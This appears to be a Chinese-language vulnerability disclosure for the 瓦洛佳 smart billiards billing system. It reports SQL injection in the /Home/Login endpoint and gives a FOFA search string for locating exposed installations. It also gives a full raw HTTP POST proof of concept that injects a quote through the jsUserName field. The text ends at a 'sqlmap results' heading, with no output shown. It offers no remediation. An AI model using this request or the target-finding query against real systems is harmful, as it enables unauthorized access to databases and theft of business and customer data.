瓦洛佳智慧台球收费系统存在SQL注入漏洞

漏洞描述

有了瓦洛佳智慧台球收费系统，结算方式变成：扫码开台，随走随结。方便、透明，瓦洛佳智慧台球管理系统一经诞生，便火遍大江南北。瓦洛佳智慧台球收费系统/Home/Login接口存在SQL注入漏洞

FOFA:

body="瓦洛佳智慧台球收费系统"

漏洞复现

POC:

POST /Home/Login HTTP/1.1
Host: 
Content-Length: 50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://
Referer: http://127.0.0.1/Home/Login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ASP.NET_SessionId=a43xtyqehsoqxpry3xsi0wim
Connection: keep-alive

jsUserName=admin'&jsPassword=1&jsVerification=kh5w

sqlmap结果: